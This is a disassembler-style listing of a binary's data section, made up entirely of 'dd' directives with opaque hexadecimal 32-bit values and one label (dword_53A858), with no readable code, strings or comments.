		dd 0B1C09B30h, 7D3F7FECh, 70530064h, 0FB5E3609h, 0C10BE2D7h
		dd 0C0D4B2E8h, 1EB9277Bh, 5D4FCA4Ah, 0BC003EF0h, 65603114h
		dd 0BB0745EAh, 808E73B8h, 211746h, 3B603933h, 0D1695E48h
		dd 430B0407h, 5A5029F6h, 0E6794Fh, 0C4B635DAh, 0D36ED585h
		dd 0F352CF01h, 0F4BB2737h, 599C4880h, 57357807h, 3D206E0Ch
		dd 0C0A708AFh, 7A07B21h, 97264DDEh, 6D18F2C0h, 14EB81h
		dd 0CCCBA622h, 0C6C13D7Ah, 306C073Ch, 10F4207Eh, 0A47300C7h
		dd 88794631h, 0B1006B9Ah, 1AFF6ECAh, 3242B38h, 75DEE8F7h
		dd 0A6E06F35h, 0E230A1BCh, 0B4CA4020h, 36B00063h, 0CE0F6006h
		dd 8CC785Fh, 0E121B9h, 0E49BB06Bh, 69775D72h, 29D9F100h
		dd 9257F65Eh, 0EA590626h, 0A8B736F4h, 0E6317F05h, 8801BC40h
		dd 6FE10AFFh, 706CDAC8h, 442CA064h, 2953076Ah, 3CCB8D84h
		dd 0DB0072D1h, 235531D0h, 195B8A2h, 3BD91485h, 0DCEA6479h
		dd 6E54D480h, 37000790h, 2C78C11Eh, 0B14C19h, 4EB8A92Fh
		dd 6B54CEFFh, 619ADA06h, 617DCAh, 5E21DE65h, 0DF027E74h
		dd 0DA146B00h, 0FDB66328h, 0A1C00A8h, 0EB4917DDh, 0AA606C98h
		dd 4E156A40h, 85E0C7A4h, 0A281CC32h, 0C2BE1401h, 0BF768859h
		dd 0C3DC60D8h, 550201F8h, 231B1F9Ch, 76F90708h,	0D1A9304Fh
		dd 0BC5497BDh, 9088431h, 5480C7B2h, 0AAA614E9h,	0A2D804A8h
		dd 2FB06260h, 11680623h, 6A9E00B8h, 95765AB0h, 3CB7ECA3h
		dd 98CCDD0Bh, 353854h, 49F59AFEh, 0E38F315Fh, 610108ECh
		dd 0EF7925AEh, 0C370C3A9h, 0B9B51CAFh, 0BD39F027h, 1800663Eh
		dd 0C200EAEh, 39295BAAh, 934CBB75h, 70EE390Ch, 0B3073C0h
		dd 0F25F91D7h, 0B71F0179h, 0BB422DB8h, 7418809Ch, 555BB63Bh
		dd 85E8A0CCh, 0C9A62838h, 0D0E080ACh, 0E0BE1433h, 470990EFh
		dd 0E01D941Ch, 42801C11h, 93627E76h, 24D9E93Fh,	0A60476B7h
		dd 8DB4958h, 0DD05C780h, 0DA2E8265h, 0F100CE09h, 0B0E65E2Ch
		dd 771C00E9h, 5DAB296Fh, 544C83F3h, 0DD3C8704h,	75390861h
		dd 0F4402FEDh, 7706BEh,	45CD4A67h, 9ACAF502h, 3909FCA0h
		dd 0F829716Dh, 603430CAh, 5DEA5E11h, 0AE831A88h, 0D038603Ch
		dd 0E05843Eh, 3186D67Dh, 0D0CE6Ah, 358742EBh, 0E55308BEh
		dd 144E1CB0h, 822C58C0h, 445BE2h, 0C93D7D64h, 0ACF7197Ch
		dd 557ACE0Ah, 390CD84Ch, 4E971F1h, 1609F0D2h, 4C609071h
		dd 0C3023E59h, 0AC352CCCh
		dd 5E644186h, 33B0DC19h, 11480623h, 669A008Dh, 3FD538B0h
		dd 796AE0D2h, 9A49061h,	8D4C9635h, 465A30A1h, 0C2E4EF75h
		dd 5C303ABCh, 35771107h, 80A688AFh, 7A07A37Ch, 491422DBh
		dd 14DFA931h, 60C0BC4Eh, 83C6B3Ah, 84023029h, 0EE325AD8h
		dd 0A4062119h, 460E710h, 220C9AACh, 0B2C6D35h, 18336C15h
		dd 2064CA0Fh, 891104D2h, 25413400h, 0EDABAEE1h,	145B00C2h
		dd 0C8650246h, 551E47E2h, 0F2047D3Ah, 2CC40E11h, 960A888h
		dd 0CECB66DFh, 726A68A1h, 0AB3530FBh, 49F0980Dh, 0EF089Bh
		dd 0FB4A8C21h, 703CE00Ah, 0EB620D0Bh, 7A130030h, 9848C133h
		dd 2F6E074h, 1D699636h,	0D503934Ah, 0E85DB709h,	0BFB3C850h
		dd 74BD5824h, 0D969189Dh, 0BA00B266h, 19E37084h, 541B1DDFh
		dd 30D4E417h, 8E2962D5h, 5CFEB603h, 0C4252000h,	4CEC3FA3h
		dd 2A57B47h, 148628E2h,	608A70AFh, 32DE05ACh, 0B6E48303h
		dd 0CAFF00ECh, 9168F90Ah, 0EFA23A08h, 1E2C1F4Ch, 3208D44h
		dd 1571B5ABh, 0D800ADBEh, 3A1A48D4h, 18B33350h,	0A8B8E211h
		dd 862A3907h, 0E8F2ECCCh, 84C80528h, 3258EB01h,	791201A0h
		dd 5E8F20BFh, 695E6C8Ch, 9C3C220h, 0A8B72630h, 7AAC88h
		dd 49443947h, 9629F179h, 3A9CC949h, 29B03009h, 0D53193h
		dd 0DC94832Ah, 0F1B44C5Fh, 0DD3D3B01h, 0AE229756h, 0B9FC1C60h
		dd 49758108h, 0D47633FAh, 0D20091B2h, 90AD31A5h, 5958DEh
		dd 7397CFEFh, 67FC24B3h, 9B72CB02h, 80B708E7h, 0A61D4998h
		dd 1814B24Bh, 18DFF0EEh, 0B600FB12h, 0FC5F8762h, 0E022773Bh
		dd 0C949004Dh, 0B5FF4AA2h, 0F4AB68D5h, 0E79D2AE0h, 3E396C3Bh
		dd 3C4C0014h, 8116C83Dh, 0A65B50C6h, 0F8E89205h, 0C7701B0h
		dd 7833656h, 958050B6h,	846008B7h, 78686099h, 6BEF00E4h
		dd 0B04ABB72h, 500A146h, 0D41365B6h, 12CDC53Bh,	41AE3109h
		dd 5B83ACD8h, 651BAAFh,	0A826C0BDh, 97A53D11h, 666F1481h
		dd 0ED526DE6h, 0F4BFF0F1h, 0FE2CDE00h, 0DAEE8DC5h, 0B0E00097h
		dd 297F1E79h, 0ED74FC10h, 9646900h, 0A045A446h,	0A499E77Dh
		dd 811608E5h, 0A49EE221h, 4CF193CEh, 8B9ECC0h, 30014484h
		dd 1544E91Dh, 2483B3D2h, 4867A8BAh, 84B7000Ah, 7C6B9B0Bh
		dd 0EB7BFB3Bh, 0DB97DE00h, 621F7E8Fh, 0E01CE4AFh, 42D1072Fh
		dd 8C8129E9h, 96006908h, 33735154h, 75246C9Fh, 60C7319Bh
		dd 0ECA09A48h, 5883DFB3h, 3130CC31h, 3A2D5091h,	0C8E7FB0Fh
		dd 4A3F03CAh, 5C680E32h, 3898FF27h, 0A2305FEAh,	2D581819h
		dd 694A03F0h, 4B549B65h, 0A9AA6800h, 60E5FCF9h,	6DD10046h
		dd 0C2544A3h, 0A50E0F0Eh, 20AF0B2Bh, 12C085DCh,	5EDE000Ah
		dd 0BAE7EAFCh, 2333CF6h, 0E9DD08B1h, 0FC0979Fh,	1D501C2Bh
		dd 306D9FD2h, 7248528h,	0A0404400h, 0EE069E17h,	0AEC00F9h
		dd 2D74EAD1h, 9600688Dh, 0AE706083h, 6C7D76h, 0C9E4875Dh
		dd 2802D646h, 7F4D69C0h, 7362A7Bh, 10554345h, 0AB65A066h
		dd 970114BAh, 0AA6A7205h, 30BDFF91h, 0B9C10780h, 99BE0EABh
		dd 9C00C4FAh, 0E6EF3A7Eh, 0C954ADh, 8760BB30h, 0F33195DFh
		dd 0BA83C803h, 0D80444h, 0B01CBDE9h, 530662DBh,	0BA5A683Dh
		dd 21D2304Ah, 0B0649Fh,	15060C30h, 0FC1A9A40h, 0DBBC22h
		dd 5A77BD63h, 48FA47Ah,	8419D160h, 53195Ch, 7C475D1Bh
		dd 40929A81h, 0F3605400h, 0A1C14CD5h, 2D052A6Ch, 0F5760380h
		dd 90F9AA48h, 0A202B8C8h, 67181F00h, 0D9E2B4A8h, 7ADE2497h
		dd 34830031h, 13F10628h, 8F05197Ah, 661763DDh, 2800CC56h
		dd 79E48C77h, 0A1EBA0D5h, 0CF1BE8D6h, 77C02521h, 0E0414C0Dh
		dd 7D0A7800h, 2BC593Bh,	0AE91D626h, 0F1743F00h,	1D08AAB3h
		dd 9C6F1342h, 961F00BCh, 0C8A34BB5h, 0C8FB912Ah, 68AF0200h
		dd 0D198A7D0h, 5D310274h, 32F35F07h, 0E7FC62E0h, 8F3B9CA4h
		dd 5DC9860h, 1DDD11h, 30381076h, 0ACE4681Fh, 0FB59F461h
		dd 2980DAE6h, 0BC951AEEh, 8F0B4622h, 99E375h, 0E2367A37h
		dd 91D607A8h, 86E43CE9h, 9806417Fh, 0EF928F3Dh,	0DA560011h
		dd 0B97E1C18h, 7533B6C1h, 480829h, 18D23421h, 0CC9AE6CBh
		dd 0A6051A00h, 0D7EEAE7Dh, 481F728Dh, 1EC05CDCh, 2FCE9961h
		dd 0A87DC101h, 0C358FDA1h, 914BBF8h, 961A595Ch,	8CFB8404h
		dd 18147D1Ch, 0C0B8F7FCh, 7A55B8CEh, 0B559003Ah, 35FFD857h
		dd 52712F97h, 921F893Eh, 6815CCF0h, 0E4A050ACh,	0FB6CAE50h
		dd 3150F778h, 0D5488808h, 9A0C90B4h, 1DF09828h,	0E75A0141h
		dd 23C06F27h, 9338816Bh, 0E3048062h, 0DF2EB180h, 6B7FB843h
		dd 0F9D13838h, 2A9C7750h, 188BB0A1h, 601808DEh,	4EC4D97Eh
		dd 18D63040h, 8300B0D1h, 0EF8F5176h, 50E11AF5h,	50968C0Dh
		dd 8BEAE0DCh, 0E26035C0h, 5E669500h, 0DE0FF411h, 0D7EF0C10h
		dd 0DAC9B705h, 92A68D00h, 0E1C83B31h, 8336639h,	0F9012122h
		dd 6E01A945h, 0BED088B1h, 7AE00577h, 30681DCEh,	18E1E888h
		dd 627FFDF6h, 0E7A09E02h, 97C695E4h, 80031174h,	0BD58D360h
		dd 0A88212AFh, 345007ABh, 8E271062h, 1E486ADDh,	7795C4DCh
		dd 0D8148FC5h, 801FC8DCh, 0EF778DFCh, 0F4008A55h, 81F57C24h
		dd 0A7A0196h, 8E3D991Eh, 18DB4050h, 91467E1Dh, 0D3EEFA22h
		dd 77E01802h, 89CA8EE8h, 40900484h, 0DFB06060h,	4A666210h
		dd 9B9ED5C8h, 0B6DDAF80h, 4078BC61h, 0DF44E6F2h, 5DE9005Ah
		dd 77FE2F53h, 736C7A52h, 8C3F68A0h, 0DEB01F02h,	19531E62h
		dd 679810D6h, 389000AFh, 0AA1C2E7Ah, 7C05A7B5h,	716A2B4Eh
		dd 35DC9040h, 43AE8Dh, 67614DAh, 6A9612F2h, 0F0A85A7Eh
		dd 1563702Bh, 0C80F31h,	61929D61h, 0B6432017h, 24E5B400h
		dd 0AA233908h, 75691FBAh, 39E5B955h, 0C0249B3Ch, 9E230C93h
		dd 7DCF405Eh, 772BF20Ch, 9825969h, 0DCD2EC33h, 0E8FC4D00h
		dd 40D5B979h, 2301C988h, 0FE50494h, 8FD9A461h, 3E739C0h
		dd 350460B8h, 0B502629Eh, 338C5C82h, 7E1B1898h,	1228146h
		dd 18D53300h, 4D026637h, 14A20109h, 6AB486AFh, 0DD918160h
		dd 0C4042285h, 0D1C8884Fh, 407D23C0h, 3D9C0597h, 0EAFBF5h
		dd 0EB705D20h, 750660DCh, 2E02DDE7h, 4DF70079h,	939DED30h
		dd 0B9047DACh, 5EF389D0h, 42D3809Bh, 0C30732A8h, 11F83C69h
		dd 0CC50631Dh, 0D6488F0h, 916F6A99h, 8F8BF089h,	6079E091h
		dd 5C002918h, 0EB214FFBh, 0A009AF06h, 0DA919E8h, 879CACD8h
		dd 14F0F188h, 0A04C49F8h, 2C4E938h, 9889B367h, 0BA88AB0h
		dd 0C00109B1h, 5497997Ah, 5D804791h, 0CBFA63E8h, 18E17738h
		dd 0F6217E2Bh, 0E3602634h, 0F9467480h, 0EBFC7005h, 0DC40966h
		dd 60D2DCA4h, 1097A68Ch, 0C8C9A331h, 44F48021h,	341702A9h
		dd 3637606h, 0F99161Eh,	0C4BD8350h, 27A03E8Bh, 2021DF80h
		dd 0F4A49A01h, 57BF4582h, 50CFF9C4h, 8C69D8E8h,	8E779204h
		dd 1862A9E4h, 778A2720h, 0FC7449B5h, 61C04588h,	2162D4B0h
		dd 0D0914A6Eh, 0AF699A00h, 0F4D51FACh, 60788103h, 0E0046Ah
		dd 4B1D9F21h, 0AA2B45AEh, 8777FA39h, 91F2CE98h,	4980A42Ah
		dd 6AF3748Bh, 1B920010h, 999620D6h, 31E87871h, 7D1498B8h
		dd 356C692Ah, 54CC56BCh, 956F0231h, 7B9B4EF0h, 18D3C491h
		dd 50A96541h, 0DEC4629Bh, 0A990F527h, 7CFC0F29h, 0EB667B87h
		dd 6574B88Ch, 7F05DC79h, 0ABD20AFh, 0FCE9A80h, 0A8A9001Ah
		dd 7EA37AE2h, 683BFB8Ah, 7B2A8CB9h, 486D3917h, 9186F066h
		dd 0A600F9F3h, 0CD99659Ch
dword_53A858	dd 25B73E41h, 50A104B8h, 0FCF14B20h, 7C009C0Bh,	0B7CB3AFCh
		dd 501907E8h, 0FAA72C1Eh, 99E200C8h, 38066EB2h,	54002FE5h
		dd 403AE7EBh, 3B87EC2Eh, 885027D8h, 88028CD6h, 433193A6h
		dd 102319C8h, 3A940F8h,	0BE4BC6BCh, 191439E4h, 0C0F019BAh
		dd 917046E3h, 0B14E010Fh, 48E93AEEh, 4324209Bh,	0B01B028Ch
		dd 533E62DAh, 9C10CF19h, 5109B063h, 111DE1D5h, 89206080h
		dd 0D35E009Bh, 29AE5749h, 4A004E35h, 1404B44Fh,	601D95C8h
		dd 0C0203164h, 5A01AEA4h, 0D8AC6E54h, 0C8220F7Ah, 873025F2h
		dd 0E44B0FDh, 35958060h, 22E8A0D4h, 2674008Ch, 0B95E3250h
		dd 0E55CC82Ah, 8CDEE8ECh, 49FADA00h, 23772C6Ch,	78421E75h
		dd 435203B7h, 3AE8541Fh, 5E016BC4h, 0B91C6EA0h,	0B420AA29h
		dd 47FDF143h, 982C2980h, 97D1BCD9h, 0C9337370h,	3E080Fh
		dd 0D8900921h, 0C11A04BCh, 6BFB550Fh, 434C8018h, 187B57Fh
		dd 30E9A7E2h, 98419E4Fh, 5C212A08h, 58771BDh, 79126885h
		dd 0CB3180D3h, 0EE1FB515h, 61C78386h, 6491A1E0h, 1C399D2h
		dd 0C9EA1F38h, 0D1C57363h, 0F437F06Eh, 0A47381Bh, 0E2CDD021h
		dd 2E82008Bh, 80D46829h, 0BC18B18Ah, 4CB84B71h,	62607D2h
		dd 0EFA93AB5h, 0C79F93A0h, 107B9991h, 0D1E05D00h, 0B8D6A5BEh
		dd 9DA34C02h, 15C9440Bh, 0FCAA3D81h, 47A344B6h,	0B02F1784h
		dd 57DFE5DEh, 9DF55E00h, 4E13FB74h, 32280387h, 4F6CBFFDh
		dd 33EC3100h, 1E5F1C6Fh, 76D30373h, 4B6DC3C8h, 65532101h
		dd 0F563A3FEh, 2EEB3FCh, 0CC3D4EC0h, 84B093D2h,	0F2181413h
		dd 2ED9D371h, 0AB1800FFh, 0AEC355E8h, 9E029A64h, 29744620h
		dd 97C980D7h, 129F0623h, 0FBD20A6Bh, 1352AC05h,	0EA6FCC40h
		dd 0C7B165CFh, 404B10F8h, 0CB98819Bh, 0A1EDF600h, 8785EE5Ah
		dd 1DC900DEh, 9B80093Fh, 7F1DD4BEh, 92075E02h, 57E0244Fh
		dd 7134956h, 0ECF7FABAh, 58E95653h, 0D8E87790h,	68B9D263h
		dd 19810021h, 0D31067EBh, 0F2B0D78Ch, 0CA53BF0Dh, 0D4DC2126h
		dd 0A1111E8Bh, 0E9C040C2h, 1DC712ECh, 5553EF12h, 3DA04021h
		dd 0F5419C40h, 34C9008Fh, 0CBAFD616h, 0DE059F4Dh, 68270E28h
		dd 2B0B2C00h, 0B8D5F6h,	95B1424Fh, 640183D4h, 0F84E2430h
		dd 0EE75975Fh, 0D44D5581h, 0CC4A6081h, 801D69E0h, 7EADDA49h
		dd 96D03F3h, 0EBE98253h, 0A2461C00h, 0F1C04971h, 0B32D7833h
		dd 0ACE400B5h, 50BCF196h, 6B0CBBEEh, 294C7104h,	0A6B1009Fh
		dd 86BEB3D0h, 4724E379h, 1FBA0005h, 40009919h, 342FF39Ah
		dd 0F7543E37h, 0F0DDBF0Ch, 0C1021E78h, 0A07DE93Ch, 7614463Eh
		dd 2ED400B3h, 0F3B6FAFh, 4E007079h, 46F565AAh, 714B7CFDh
		dd 9FED005Dh, 0B8E883CFh, 8907B612h, 14CC406Bh,	0D25DB420h
		dd 9108629Ch, 8CA0396Ch, 8C88EF3Ch, 0A0872E03h,	88188B9Fh
		dd 15B20BEh, 0C0B58119h, 0D1A9E3E2h, 0A4A0DE1Bh, 23684941h
		dd 7E2588h, 19B1DA51h, 0E6550B8Ch, 7222B3Bh, 3732A470h
		dd 0D766C3h, 0BD7BB2A0h, 24051012h, 9060D44Ch, 4C492AC0h
		dd 3B7F038h, 0A8F9FB64h, 222AE8A0h, 3B6B00FDh, 0C0679F6Dh
		dd 7D009530h, 0A1BA1AC8h, 0ECD3BE35h, 509806E5h, 0A1A4D276h
		dd 0A60134B0h, 0EA82FB40h, 0B841B59Ah, 40E6FC16h, 606C1074h
		dd 3D27794Eh, 4739A925h, 410D307Fh, 7D8336h, 1EFE07B7h
		dd 0C3035C2Eh, 0D2EDE100h, 7AD4BD75h, 50110F77h, 0F1C1BA3h
		dd 5262D3E4h, 0E4A04874h, 0DB6FC30Eh, 1830EA00h, 3F9E7613h
		dd 0AB39032Ch, 2E6804BBh, 0E2EEB118h, 0A5389Ch,	0C3AEAD20h
		dd 0AC296A69h, 51EDBD7Fh, 0D4573758h, 35612F31h, 5ADB6788h
		dd 0C0D5FD70h, 0D7599379h, 4E00628Fh, 729B2E49h, 0A07A04h
		dd 93A245B2h, 0E2F71F5Fh, 0CC90B571h, 24BD1944h, 84A86686h
		dd 0C898D3E9h, 89021668h, 74E72760h, 0F23320D7h, 0BA0051DFh
		dd 111D31F5h, 18EE7B23h, 390BA6D2h, 0B9DED405h,	4402E613h
		dd 80E7D57Ah, 5DDB1AC8h, 525CA071h, 0B7B60084h,	483E49C4h
		dd 0C70133E3h, 2345BCBh, 298141CEh, 7450ED56h, 841189DFh
		dd 8E5D80B8h, 0FA6A29h,	385C378h, 4A3FB9E5h, 0B127D700h
		dd 0EBB47B1Ah, 35CE269Fh, 720B60F8h, 9700467Ch,	6F373C18h
		dd 12EB9E7Eh, 0DFD5A3h,	5931C0FCh, 9C98931Bh, 25E2961Dh
		dd 0B0086112h, 28999F0Fh, 22D8909Ch, 242621CFh,	0F4B4898h
		dd 447EE155h, 1C40A7D2h, 0A047BF1Dh, 74928FE4h,	3D5A0567h
		dd 33C90569h, 99D09F9Ch, 0EEEE1BBCh, 0E473B80Eh, 4F740A3h
		dd 486F82ECh, 24034DB0h, 256B9415h, 18778100h, 0F0A7DCA6h
		dd 0A7F1D87h, 49077D3Ah, 2056EEC1h, 1CC053BCh, 1D431D4h
		dd 1525BF16h, 50226B96h, 95D4D82Dh, 0FF2BF800h,	48468D7Ah
		dd 3205AC68h, 81ADC2Dh,	4CA44CF4h, 492C3300h, 98CFEBB6h
		dd 0F10367B0h, 0E2B82198h, 3CC6FCAEh, 0A84D2200h, 0C0A7F25Eh
		dd 0D0BF0B4Fh, 2C0213B4h, 8661D8BAh, 0B25983D1h, 0E03AC19Ch
		dd 0A78016h, 0EF5EDDBh,	83A5EEDAh, 2C3F5724h, 31FE6800h
		dd 162C9AA6h, 206BF007h, 23E8FC00h, 74FAB07Fh, 0FE594D63h
		dd 7A83882Fh, 800C9121h, 93B0F913h, 0CA00A1E2h,	68889FD8h
		dd 3D9BFFB5h, 8B80EB14h, 0BE9387AFh, 0F4A46CDFh, 3DC5A04h
		dd 7E08BC41h, 0D674B486h, 99950071h, 23D980D3h,	4B00D2F3h
		dd 0E003C0CEh, 61BE6Fh,	9F13B7E6h, 0ECD148A1h, 17BD7D02h
		dd 41BFB895h, 0AD104CF4h, 382A6132h, 0ED00DC18h, 219FB4B0h
		dd 2AF64EB5h, 3D686E78h, 910068FBh, 8F7B301h, 4D109EB8h
		dd 0EA580469h, 941B6815h, 56D87825h, 96458205h,	77C037BBh
		dd 13D9E39h, 0ED2D59D9h, 50BA11CCh, 37A8D630h, 7C035800h
		dd 0E5BD20F2h, 0A2EB09B7h, 4010197h, 3034A170h,	0C49048FCh
		dd 5078307Eh, 8534C948h, 98400446h, 2F3328A5h, 834200ECh
		dd 0FBEDC76Eh, 850E4135h, 0E1BA8E9Eh, 1213CC3h,	0FC23BC71h
		dd 1C229858h, 2D586E79h, 5BD401C4h, 0D102EDFCh,	0B10B2432h
		dd 0B60C6882h, 0EC008011h, 970C100Ah, 97A4A92h,	32DA46Ch
		dd 56898C80h, 0FB335DDDh, 0F37B5098h, 0C9E001D5h, 7C61863Eh
		dd 80E42817h, 3DF4D683h, 203A0148h, 4610C91Dh, 8EA98E07h
		dd 0D1924017h, 0CF2FF3Fh, 2768F6EEh, 0EF0053B9h, 2E4A8597h
		dd 4CA063C3h, 4500445Dh, 0CDBD0B5Ch, 289171B5h,	0D38BE700h
		dd 2690F795h, 12996569h, 4170307Ch, 0D00B346h, 0F6126279h
		dd 6BBC2FCh, 6C43E001h,	4600B156h, 0A24B7535h, 0F13D44h
		dd 0CAD7F52Fh, 329F6BEEh, 0D5ED0E00h, 0CD27CC5h, 2C97C56h
		dd 9BF0C191h, 0EC8033A1h, 0DE74BED9h, 3D6979C0h, 98D27036h
		dd 32AC18A4h, 471BEE2Fh, 98A601Fh, 0E1EC2B04h, 6F0000B6h
		dd 0CDD452Ch, 300AFE08h, 9C7CA1D2h, 0B140678Ch,	0C60300BDh
		dd 8221AC3Fh, 4D0099C4h, 85F56664h, 1706209Ch, 14BE7A8h
		dd 7467FFDCh, 81221048h, 2ABA32FDh, 0C06BF46Ch,	0B749A7D0h
		dd 1825F790h, 1EC0048h,	2CC2B043h, 4254D002h, 685A469Eh
		dd 9B550100h, 57E18E81h, 0CB0229B1h, 0A5D209CCh, 83130866h
		dd 0BC0330EEh, 3C6C37h,	2B9CAFC9h, 0A299154Eh, 2517E200h
		dd 67DB18CFh, 0FEAA007Ch, 64B7E156h, 1659AD2h, 9C00B451h
		dd 0EA89D4BFh, 128F8AFh, 9DD7D6EDh, 20AA089Ah, 3A730C8Ch
		dd 3DEC7F59h, 5D58CB9h,	0D277F092h, 889802D4h, 4C11732h
		dd 3809151Ah, 0F04818ECh, 0B97A0066h, 0E26010FCh, 8B3A86BEh
		dd 961207E5h, 5F80BFF1h
		dd 2687F7B1h, 40246B74h, 0F3E3747h, 0F860711Ch,	0A3DEAC07h
		dd 51822532h, 37BA0504h, 30D0C0B6h, 280B586Bh, 1AD11BFh
		dd 78E964A8h, 6A189C23h, 29705458h, 72486800h, 1AF9BC27h
		dd 0C81B0B6h, 126B06C3h, 0D800CE81h, 2DEA724h, 2B183A3h
		dd 0C3BDA6B5h, 30592D90h, 7A077C07h, 0ED1CDB0h,	0B449177Eh
		dd 0B8302071h, 47FABAEEh, 31A92B00h, 84D6A9Eh, 3F047E07h
		dd 1900F984h, 3AA1EAD7h, 1C0088A4h, 0F86FC69h, 3299B54Eh
		dd 0B3C10640h, 6694A2C0h, 7492E48h, 9E96A2CEh, 959AB781h
		dd 58C9FFF4h, 0C10430E0h, 0C8D6024Bh, 883986F8h, 0A2F2003Eh
		dd 0F385EE51h, 0E708DD97h, 0FD473418h, 0D85EA303h, 0E07E0DD6h
		dd 262240F5h, 28C64D52h, 3A6D2240h, 7E7DD639h, 11AD8700h
		dd 21782C64h, 0FE8F0193h, 840B61A9h, 1EE06247h,	7D8325B9h
		dd 0A069E21Ah, 1E9A9901h, 7FAF1752h, 594A8D1Bh,	60A10CD8h
		dd 2A565327h, 86003C60h, 9FEA5D26h, 0CC42F31Fh,	8E284080h
		dd 0ABCDFED2h, 0E39CF864h, 0FBA63D45h, 87867500h, 0E0673A31h
		dd 30F88532h, 0D83C61C7h, 90793060h, 0B7930288h, 681D4CA4h
		dd 830084E4h, 1794F467h, 0ED8AACh, 0C8E42DCBh, 0C0E98F96h
		dd 53A7DF09h, 0C58019CAh, 90E24C20h, 0D1ED096Ch, 4803CF7Ch
		dd 0BC02EC33h, 469210C7h, 0C98CA002h, 1C5E8DE4h, 4B5CEFAEh
		dd 0DF018331h, 61B2152Ch, 28A842DCh, 0CDA110h, 79787AE0h
		dd 6F704982h, 7F360F0Eh, 261BA2A2h, 6EFCE09Dh, 0AEF6043Dh
		dd 0A2D3E946h, 0B43C38h, 771D25E1h, 7CED8C0h, 0D452659Dh
		dd 16D1808Bh, 6F25B7A5h, 0A71CA067h, 0F82AEE0Fh, 5C6D001Bh
		dd 159FE304h, 53B87F4h,	83B200B0h, 47E0564Fh, 8469C00Ch
		dd 1A207BA3h, 4278FD0Ah, 0ECAC8C72h, 1D001448h,	1A90548Ch
		dd 3EFC4C10h, 47A8204Bh, 3400F5B7h, 36E4B81Eh, 2161992h
		dd 0BD8B6AC3h, 0F520DF71h, 530AB3h, 6CD34D14h, 8CA1E8Dh
		dd 0EF80D41Ch, 893D20C9h, 526C00C2h, 0A82469ECh, 0A01EE9A8h
		dd 2DDB84E4h, 0DDC0CBA7h, 0A424BAA2h, 5B60F47Bh, 17615963h
		dd 3E8A6E9h, 0D074EF89h, 0CB9D810Eh, 5AECC7BDh,	850173D0h
		dd 5C3500B6h, 9CD8DEAEh, 0E098BC4Bh, 516CE211h,	0A9E026h
		dd 0B120A0B5h, 6B5C755Bh, 94F78040h, 6B725CFh, 3056182Fh
		dd 483740B2h, 0DFA49C13h, 22273C82h, 90718A24h,	3EB41594h
		dd 2099251Bh, 4A50A130h, 0BB35009Ch, 0E482EB78h, 4F07EAD2h
		dd 0D105750Ch, 0D02685Ah, 5A6B0156h, 0E3100048h, 14038651h
		dd 0F6124213h, 0B090745Fh, 0A16B67h, 0DD9D7117h, 0BC6F58Eh
		dd 0BDF2A600h, 0B72FBC3Eh, 58E2E287h, 744400B2h, 941F009Ah
		dd 791E5B7Eh, 53E44EBCh, 4359C160h, 12451117h, 26559FD2h
		dd 1600E060h, 1E2F6BD4h, 98E1E329h, 0FE1CA6A0h,	0F54E00F0h
		dd 76708BC4h, 1A245381h, 0CD13C4F1h, 0DD1C88h, 8CBDDFB6h
		dd 25071BEFh, 30BC5F00h, 64122BE3h, 190C006Eh, 0FD8F18C9h
		dd 404CE8B1h, 0FE5C9F68h, 0D903600h, 2FB3E12h, 0D1A2F06Bh
		dd 304468EFh, 2ED25300h, 1ADFB319h, 42AE0298h, 8D22DA62h
		dd 0FF8F063h, 0C5013920h, 0F24AA2EBh, 0C8609686h, 7B9D01A3h
		dd 0E11417BDh, 7E082D47h, 0D0F59400h, 914EC9DCh, 6177911h
		dd 8EECCEFEh, 8D74380Dh, 0B9EE2F00h, 0BEFA74CDh, 0ECBD5CDAh
		dd 0F3C8B8C0h, 248B52Dh, 0B7181314h, 0A10FEC30h, 8B96005Bh
		dd 0DE821AD0h, 0AF010477h, 0F824AD22h, 0CC6C9111h, 0FB3C7480h
		dd 0BB004A78h, 7A1D2425h, 212B1E6h, 0A0B615AEh,	1471CD53h
		dd 5D731D01h, 0B8688025h, 0F0B184DCh, 212CC0EDh, 30B84261h
		dd 0ECCA6B24h, 6C4E8203h, 76310037h, 3E2745FFh,	0E97F3F9Fh
		dd 0B95C7100h, 0FD163537h, 0DB6630D6h, 13BE8AD8h, 25A1C705h
		dd 38024C98h, 465D1756h, 8D800F60h, 1A175FAh, 2EDBEAA8h
		dd 6CD44F0h, 0EDF85E40h, 6109904Dh, 0C40379EEh,	4720000Ch
		dd 5FB0551Bh, 0AA3821A4h, 69E60917h, 0F8E84B67h, 0AC08D9h
		dd 0B9C7315Fh, 1DB711C5h, 23CD0B0Bh, 19DE8043h,	30E34861h
		dd 5BA91840h, 3300F794h, 0D213F1B3h, 12C2FFA3h,	0AFC14BCh
		dd 0CF0B4A4h, 4FD08C56h, 0CAD1025h, 7CE810B0h, 0C32B8B5h
		dd 0BE6E9EB3h, 0FD261DC0h, 58265F2Bh, 57B47140h, 989EAEFh
		dd 0E511FA35h, 0D2DB9084h, 24E3ED58h, 0BD7C40FCh, 0F49A5512h
		dd 4F0805CEh, 28F9973h,	59B764DCh, 6357C8C1h, 21BB0FA0h
		dd 4AC01CDBh, 30D8B2A1h, 0F47474E0h, 0A76C24CCh, 8B046F3Ch
		dd 4EBE800Fh, 1200D39Fh, 0BEF059BFh, 2ED80467h,	49C3Eh
		dd 0B3DF9592h, 0B50071C9h, 9E0AC738h, 3DAF98C6h, 88FFAD0Eh
		dd 0B8009D60h, 0C7F27B51h, 965CBE0Bh, 46EEC190h, 0C49C40AEh
		dd 39C35753h, 0AE6C4243h, 7B00199h, 0D44A38ECh,	0AC82F69Eh
		dd 5859B533h, 2348AA00h, 9E26D3h, 0D4053B58h, 6CCCFCBh
		dd 0E5104704h, 54B26652h, 0AD22600h, 0DDA9D5B3h, 47989A08h
		dd 0F32B8019h, 0D69F362Fh, 7ADE3401h, 0B162A0AAh, 809C2078h
		dd 9A8A9540h, 7201D4B6h, 0FA517BEh, 61E01E86h, 3B9F02ECh
		dd 0E789A4F6h, 0FD128CE6h, 1CDAE926h, 0D89DD317h, 0E483844h
		dd 1D2218h, 781180CBh, 0C003E1CEh, 0C2154A06h, 2305A2Bh
		dd 6187CB7Ah, 0D86499D2h, 65A30513h, 32D088h, 6AC2C5ACh
		dd 0D382407Dh, 0FDC01D00h, 5B2461F8h, 6BFC2490h, 0F4B04050h
		dd 4F01A6C9h, 46634B15h, 0D302C59h, 9AE28Fh, 9833D480h
		dd 0E8A3EBB6h, 4C301F58h, 0F6EDC05Ch, 0FA94FB78h, 0A013F829h
		dd 5E7C0FAh, 0B8E6F17Ah, 0A024E46Dh, 0FA762400h, 62F6153h
